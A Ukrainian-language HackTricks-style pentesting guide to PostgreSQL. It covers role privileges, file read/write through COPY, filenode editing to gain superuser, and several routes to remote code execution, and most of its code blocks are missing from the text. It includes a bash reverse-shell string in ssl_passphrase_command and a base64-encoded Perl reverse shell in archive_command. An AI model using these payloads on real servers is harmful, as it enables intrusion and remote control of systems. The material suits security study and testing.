5432,5433 - Pentesting Postgresql
Last updated
Last updated
Використовуйте Trickest для легкого створення та автоматизації робочих процесів, підтримуваних найсучаснішими інструментами спільноти. Отримайте доступ сьогодні:
PostgreSQL описується як об'єктно-реляційна система управління базами даних, яка є відкритим кодом. Ця система не тільки використовує мову SQL, але й покращує її додатковими функціями. Її можливості дозволяють обробляти широкий спектр типів даних та операцій, що робить її універсальним вибором для розробників та організацій.
Порт за замовчуванням: 5432, і якщо цей порт вже використовується, то, здається, postgresql використовуватиме наступний порт (ймовірно, 5433), який не використовується.
Якщо при виконанні \list
ви знайдете базу даних під назвою rdsadmin
, ви знаєте, що ви всередині AWS postgresql database.
Для отримання додаткової інформації про як зловживати PostgreSQL базою даних дивіться:
Згідно з цією дослідженням, коли спроба підключення не вдається, dblink
викидає виключення sqlclient_unable_to_establish_sqlconnection
, яке містить пояснення помилки. Приклади цих деталей наведені нижче.
Хост не відповідає
ДЕТАЛІ: не вдалося підключитися до сервера: Немає маршруту до хоста. Чи працює сервер на хості "1.2.3.4" і приймає TCP/IP з'єднання на порту 5678?
Порт закритий
Порт відкритий
або
Порт відкритий або фільтрований
В функціях PL/pgSQL наразі неможливо отримати деталі виключень. Однак, якщо у вас є прямий доступ до сервера PostgreSQL, ви можете отримати необхідну інформацію. Якщо витягування імен користувачів та паролів з системних таблиць неможливе, ви можете розглянути можливість використання методу атаки зі словником, обговореного в попередньому розділі, оскільки це може дати позитивні результати.
rolsuper
Роль має привілеї суперкористувача
rolinherit
Роль автоматично успадковує привілеї ролей, членом яких вона є
rolcreaterole
Роль може створювати більше ролей
rolcreatedb
Роль може створювати бази даних
rolcanlogin
Роль може увійти в систему. Тобто, цю роль можна використовувати як ідентифікатор авторизації початкової сесії
rolreplication
Роль є роллю реплікації. Роль реплікації може ініціювати з'єднання реплікації та створювати і видаляти слоти реплікації.
rolconnlimit
Для ролей, які можуть увійти в систему, це встановлює максимальну кількість одночасних з'єднань, які може зробити ця роль. -1 означає без обмежень.
rolpassword
Не пароль (завжди читається як ********
)
rolvaliduntil
Час закінчення терміну дії пароля (використовується лише для аутентифікації за паролем); null, якщо немає терміну дії
rolbypassrls
rolconfig
Специфічні для ролі значення за замовчуванням для змінних конфігурації під час виконання
oid
ID ролі
Якщо ви є членом pg_execute_server_program
, ви можете виконувати програми
Якщо ви є членом pg_read_server_files
, ви можете читати файли
Якщо ви є членом pg_write_server_files
, ви можете писати файли
Зверніть увагу, що в Postgres користувач, група та роль є одним і тим же. Це залежить від того, як ви це використовуєте і чи дозволяєте їй входити в систему.
З цього коміту члени визначеної DEFAULT_ROLE_READ_SERVER_FILES
групи (названої pg_read_server_files
) та суперкористувачі можуть використовувати метод COPY
на будь-якому шляху (перевірте convert_and_check_filename
у genfile.c
):
Пам'ятайте, що якщо ви не є суперкористувачем, але маєте права CREATEROLE, ви можете додати себе до цього групи:
Існують інші функції postgres, які можна використовувати для читання файлів або переліку директорій. Тільки суперкористувачі та користувачі з явними дозволами можуть їх використовувати:
Ви можете знайти більше функцій в https://www.postgresql.org/docs/current/functions-admin.html
Тільки суперкористувачі та члени pg_write_server_files
можуть використовувати copy для запису файлів.
Пам'ятайте, що якщо ви не є суперкористувачем, але маєте права CREATEROLE
, ви можете додати себе до цієї групи:
Пам'ятайте, що COPY не може обробляти символи нового рядка, тому навіть якщо ви використовуєте payload у base64, вам потрібно надіслати однорядковий запит.
Дуже важливе обмеження цієї техніки полягає в тому, що copy
не може бути використаний для запису бінарних файлів, оскільки він змінює деякі бінарні значення.
Однак існують інші техніки для завантаження великих бінарних файлів:
Порада для баг-баунті: зареєструйтесь на Intigriti, преміум платформі для баг-баунті, створеній хакерами для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні та почніть заробляти винагороди до $100,000!
Якщо у вас є необхідні дозволи для читання та запису файлів сервера PostgreSQL, ви можете оновити будь-яку таблицю на сервері, перезаписавши відповідний файл-нод у каталозі даних PostgreSQL. Більше про цю техніку тут.
Необхідні кроки:
Отримайте каталог даних PostgreSQL
Примітка: Якщо ви не можете отримати поточний шлях до каталогу даних з налаштувань, ви можете запитати основну версію PostgreSQL через запит SELECT version()
і спробувати перебрати шлях. Загальні шляхи до каталогу даних на Unix-інсталяціях PostgreSQL: /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
. Загальне ім'я кластера - main
. 2. Отримайте відносний шлях до файлу-нод, пов'язаного з цільовою таблицею
Цей запит має повернути щось на зразок base/3/1337
. Повний шлях на диску буде $DATA_DIRECTORY/base/3/1337
, тобто /var/lib/postgresql/13/main/base/3/1337
. 3. Завантажте файл-нод через функції lo_*
Отримайте тип даних, пов'язаний з цільовою таблицею
Використовуйте PostgreSQL Filenode Editor, щоб редагувати файл-нод; встановіть всі булеві прапорці rol*
на 1 для повних прав.
(Опціонально) Очистіть кеш таблиці в пам'яті, запустивши витратний SQL-запит
Тепер ви повинні побачити оновлені значення таблиці в PostgreSQL.
Ви також можете стати супер адміністратором, редагуючи таблицю pg_authid
. Дивіться наступний розділ.
Оскільки версія 9.3, тільки суперкористувачі та члени групи pg_execute_server_program
можуть використовувати copy для RCE (приклад з ексфільтрацією:
Приклад для exec:
Пам'ятайте, що якщо ви не є суперкористувачем, але маєте права CREATEROLE
, ви можете додати себе до цієї групи:
Або використовуйте модуль multi/postgres/postgres_copy_from_program_cmd_exec
з metasploit.
Більше інформації про цю вразливість тут. Хоча це було зареєстровано як CVE-2019-9193, Postges оголосив, що це функція і не буде виправлено.
Якщо ви навчилися з попереднього посту як завантажувати бінарні файли, ви можете спробувати отримати RCE, завантажуючи розширення postgresql і завантажуючи його.
Наступні вектори RCE особливо корисні в обмежених контекстах SQLi, оскільки всі кроки можуть бути виконані через вкладені оператори SELECT
Конфігураційний файл PostgreSQL є записуваним користувачем postgres, який запускає базу даних, тому як суперкористувач, ви можете записувати файли в файловій системі, а отже, ви можете перезаписати цей файл.
Більше інформації про цю техніку тут.
Конфігураційний файл має кілька цікавих атрибутів, які можуть призвести до RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Шлях до приватного ключа бази даних
ssl_passphrase_command = ''
Якщо приватний файл захищений паролем (шифрований), postgresql виконає команду, вказану в цьому атрибуті.
ssl_passphrase_command_supports_reload = off
Якщо цей атрибут включений, команда, що виконується, якщо ключ захищений паролем, буде виконана, коли pg_reload_conf()
буде виконано.
Отже, зловмиснику потрібно буде:
Вивантажити приватний ключ з сервера
Зашифрувати завантажений приватний ключ:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Перезаписати
Вивантажити поточну конфігурацію postgresql
Перезаписати конфігурацію з вказаними атрибутами:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Виконати pg_reload_conf()
Під час тестування я помітив, що це буде працювати лише якщо файл приватного ключа має привілеї 640, він належить root і групі ssl-cert або postgres (щоб користувач postgres міг його читати), і розміщений у /var/lib/postgresql/12/main.
Більше інформації про цю конфігурацію та про WAL тут.
Ще один атрибут у конфігураційному файлі, який можна експлуатувати, це archive_command
.
Для цього archive_mode
має бути 'on'
або 'always'
. Якщо це правда, тоді ми можемо перезаписати команду в archive_command
і змусити її виконатися через операції WAL (журнал попереднього запису).
Загальні кроки:
Перевірте, чи увімкнено режим архівування: SELECT current_setting('archive_mode')
Перезапишіть archive_command
з корисним навантаженням. Наприклад, реверсний шелл: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Перезавантажте конфігурацію: SELECT pg_reload_conf()
Примусьте операцію WAL виконатися, що викличе команду архівування: SELECT pg_switch_wal()
або SELECT pg_switch_xlog()
для деяких версій Postgres
Більше інформації про цю техніку тут.
Цей вектор атаки використовує наступні змінні конфігурації:
session_preload_libraries
-- бібліотеки, які будуть завантажені сервером PostgreSQL під час підключення клієнта.
dynamic_library_path
-- список директорій, де сервер PostgreSQL буде шукати бібліотеки.
Ми можемо встановити значення dynamic_library_path
на директорію, доступну для запису користувачем postgres
, що запускає базу даних, наприклад, директорію /tmp/
, і завантажити туди шкідливий об'єкт .so
. Далі ми примусимо сервер PostgreSQL завантажити нашу новозавантажену бібліотеку, включивши її в змінну session_preload_libraries
.
Кроки атаки:
Завантажте оригінальний postgresql.conf
Включіть директорію /tmp/
у значення dynamic_library_path
, наприклад, dynamic_library_path = '/tmp:$libdir'
Включіть ім'я шкідливої бібліотеки в значення session_preload_libraries
, наприклад, session_preload_libraries = 'payload.so'
Перевірте основну версію PostgreSQL за допомогою запиту SELECT version()
Скомпілюйте код шкідливої бібліотеки з правильним пакетом розробника PostgreSQL Приклад коду:
Компілірування коду:
Завантажте шкідливий postgresql.conf
, створений на етапах 2-3, і перезапишіть оригінальний
Завантажте payload.so
з етапу 5 у директорію /tmp
Перезавантажте конфігурацію сервера, перезапустивши сервер або викликавши запит SELECT pg_reload_conf()
При наступному підключенні до БД ви отримаєте зворотне з'єднання шеллу.
Згідно з документацією: Ролі, що мають привілей CREATEROLE
, можуть надавати або відкликати членство в будь-якій ролі, яка не є суперкористувачем.
Отже, якщо у вас є дозвіл CREATEROLE
, ви можете надати собі доступ до інших ролей (які не є суперкористувачами), що можуть дати вам можливість читати та записувати файли та виконувати команди:
Користувачі з цією роллю також можуть змінювати паролі інших не-суперкористувачів:
Досить поширено, що локальні користувачі можуть входити в PostgreSQL без надання будь-якого пароля. Тому, як тільки ви отримали дозволи на виконання коду, ви можете зловживати цими дозволами, щоб надати собі роль SUPERUSER
:
Це зазвичай можливо через наступні рядки у файлі pg_hba.conf
:
У цьому звіті пояснюється, як було можливим privesc у Postgres GCP, зловживаючи привілеєм ALTER TABLE, який був наданий користувачу.
Коли ви намагаєтеся зробити іншого користувача власником таблиці, ви повинні отримати помилку, яка цьому заважає, але, очевидно, GCP надала цю опцію не-суперкористувачу postgres в GCP:
Поєднуючи цю ідею з тим фактом, що коли команди INSERT/UPDATE/ANALYZE виконуються на таблиці з функцією індексу, функція викликається як частина команди з дозволами власника таблиці. Можливо створити індекс з функцією та надати дозволи власника суперкористувачу над цією таблицею, а потім виконати ANALYZE над таблицею з шкідливою функцією, яка зможе виконувати команди, оскільки використовує привілеї власника.
Почніть з створення нової таблиці.
Вставте деякий нерелевантний контент у таблицю, щоб надати дані для функції індексації.
Розробіть шкідливу функцію індексації, яка містить код виконання, що дозволяє виконувати несанкціоновані команди.
Змініть власника таблиці на "cloudsqladmin", що є роллю суперкористувача GCP, яка використовується виключно Cloud SQL для управління та обслуговування бази даних.
Виконайте операцію ANALYZE на таблиці. Ця дія змушує движок PostgreSQL перейти в контекст користувача власника таблиці, "cloudsqladmin". Внаслідок цього шкідлива функція індексації викликається з правами "cloudsqladmin", що дозволяє виконання раніше несанкціонованої команди оболонки.
У PostgreSQL цей процес виглядає приблизно так:
Тоді таблиця shell_commands_results
міститиме вихідні дані виконаного коду:
Деякі неправильно налаштовані екземпляри postgresql можуть дозволяти вхід будь-якого локального користувача, можливо локально з 127.0.0.1, використовуючи функцію dblink
:
Зверніть увагу, що для роботи попереднього запиту функція dblink
повинна існувати. Якщо її немає, ви можете спробувати створити її за допомогою
Якщо у вас є пароль користувача з більшими привілеями, але цьому користувачу не дозволено входити з зовнішньої IP-адреси, ви можете використовувати наступну функцію для виконання запитів від імені цього користувача:
Можна перевірити, чи існує ця функція за допомогою:
У цьому звіті пентестери змогли підвищити привілеї в екземплярі postgres, наданому IBM, оскільки вони знайшли цю функцію з прапором SECURITY DEFINER:
Як пояснено в документації, функція з SECURITY DEFINER виконується з привілеями користувача, який її володіє. Тому, якщо функція вразлива до SQL Injection або виконує деякі привілейовані дії з параметрами, контрольованими атакуючим, її можна зловживати для підвищення привілеїв в postgres.
У рядку 4 попереднього коду ви можете побачити, що функція має прапор SECURITY DEFINER.
І потім виконати команди:
PL/pgSQL - це повнофункціональна мова програмування, яка пропонує більший процедурний контроль у порівнянні з SQL. Вона дозволяє використовувати цикли та інші структури управління для покращення логіки програми. Крім того, SQL-інструкції та тригери мають можливість викликати функції, створені за допомогою мови PL/pgSQL. Ця інтеграція дозволяє більш комплексний і універсальний підхід до програмування бази даних та автоматизації. Ви можете зловживати цією мовою, щоб попросити PostgreSQL брутфорсити облікові дані користувачів.
Наступний вектор привілеїв особливо корисний у обмежених контекстах SQLi, оскільки всі кроки можна виконати через вкладені оператори SELECT
Якщо ви можете читати та записувати файли сервера PostgreSQL, ви можете стати суперкористувачем, перезаписавши файловий вузол PostgreSQL на диску, пов'язаний з внутрішньою таблицею pg_authid
.
Дізнайтеся більше про цю техніку тут.
Кроки атаки:
Отримати каталог даних PostgreSQL
Отримати відносний шлях до файлового вузла, пов'язаного з таблицею pg_authid
Завантажити файловий вузол через функції lo_*
Отримати тип даних, пов'язаний з таблицею pg_authid
Використати Редактор файлових вузлів PostgreSQL, щоб відредагувати файловий вузол; встановити всі булеві прапори rol*
на 1 для повних прав.
Повторно завантажити відредагований файловий вузол через функції lo_*
і перезаписати оригінальний файл на диску
(Опційно) Очистити кеш таблиці в пам'яті, запустивши витратний SQL-запит
Тепер ви повинні мати привілеї повного супер адміністратора.
Всередині файлу postgresql.conf ви можете увімкнути журнали postgresql, змінивши:
Тоді, перезапустіть сервіс.
pgadmin - це платформа для адміністрування та розробки для PostgreSQL. Ви можете знайти паролі всередині файлу pgadmin4.db Ви можете розшифрувати їх, використовуючи функцію decrypt всередині скрипта: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
Аутентифікація клієнтів у PostgreSQL керується через конфігураційний файл під назвою pg_hba.conf. Цей файл містить серію записів, кожен з яких вказує тип з'єднання, діапазон IP-адрес клієнтів (якщо застосовно), назву бази даних, ім'я користувача та метод аутентифікації, який слід використовувати для відповідності з'єднанням. Перший запис, який відповідає типу з'єднання, адресі клієнта, запитуваній базі даних та імені користувача, використовується для аутентифікації. Немає резервного варіанту, якщо аутентифікація не вдалася. Якщо жоден запис не відповідає, доступ заборонено.
Доступні методи аутентифікації на основі паролів у pg_hba.conf - це md5, crypt та password. Ці методи відрізняються тим, як передається пароль: MD5-хешований, crypt-зашифрований або у відкритому тексті. Важливо зазначити, що метод crypt не може бути використаний з паролями, які були зашифровані в pg_authid.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
Вчіться та практикуйте Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Вчіться та практикуйте Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Роль обходить кожну політику безпеки на рівні рядка, див. для отримання додаткової інформації.
6. Повторно завантажте відредагований файл-нод через функції lo_*
і перезапишіть оригінальний файл на диску
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)